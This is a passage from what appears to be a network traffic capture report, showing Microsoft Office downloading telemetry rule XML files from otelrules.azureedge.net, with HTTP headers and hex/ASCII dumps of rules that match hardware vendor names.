2024-10-05 12:33:57 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	57405	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:57 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:57 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:57 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 15158de7-401e-0029-4b00-179b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123357Z-1657d5bbd48p2j6x2quer0q02800000000rg000000006cgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:33:57 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	57404	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:57 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:57 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 24b39cfc-301e-0096-2a8c-15e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123357Z-15767c5fc554w2fgapsyvy8ua00000000dkg0000000095ra x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:57 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	57407	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:57 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:57 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: b2393cc3-501e-005b-768c-15d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123357Z-15767c5fc55whfstvfw43u8fp40000000e2g00000000ksdh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:58 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	57409	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:57 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:57 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 0a3893d3-c01e-0082-33ee-16af72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123357Z-1657d5bbd48tnj6wmberkg2xy800000000ng0000000043pa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:58 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	57408	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:57 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:57 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 023e3708-a01e-003d-568c-1598d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123357Z-15767c5fc55472x4k7dmphmadg0000000dng00000000gy6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:58 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	57410	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:57 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:57 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 1cc301ca-e01e-0071-6f8c-1508e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123357Z-15767c5fc554wklc0x4mc5pq0w0000000ea000000000essp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:58 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	57414	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:58 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:58 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: bf7deccb-401e-0064-0f0e-1754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123358Z-1657d5bbd4824mj9d6vp65b6n400000000p000000000e5ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:33:58 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	57416	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:58 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:58 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:58 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: e72ec3ca-501e-005b-2401-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123358Z-1657d5bbd48xlwdx82gahegw4000000000p000000000dt33 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-05 12:33:58 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	57417	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:58 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:58 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: c54fb296-901e-008f-528c-1567a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123358Z-15767c5fc55whfstvfw43u8fp40000000e1g00000000pahd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:58 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	57415	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:58 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:58 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 99ffd5e0-b01e-0053-0101-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123358Z-1657d5bbd48p2j6x2quer0q02800000000tg0000000003gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:58 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	57418	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:58 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-05 12:33:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 05 Oct 2024 12:33:58 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 24b39fc0-301e-0096-298c-15e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241005T123358Z-15767c5fc55d6fcl6x6bw8cpdc0000000dug00000000n0cd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-05 12:33:58 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	57419	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-05 12:33:58 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
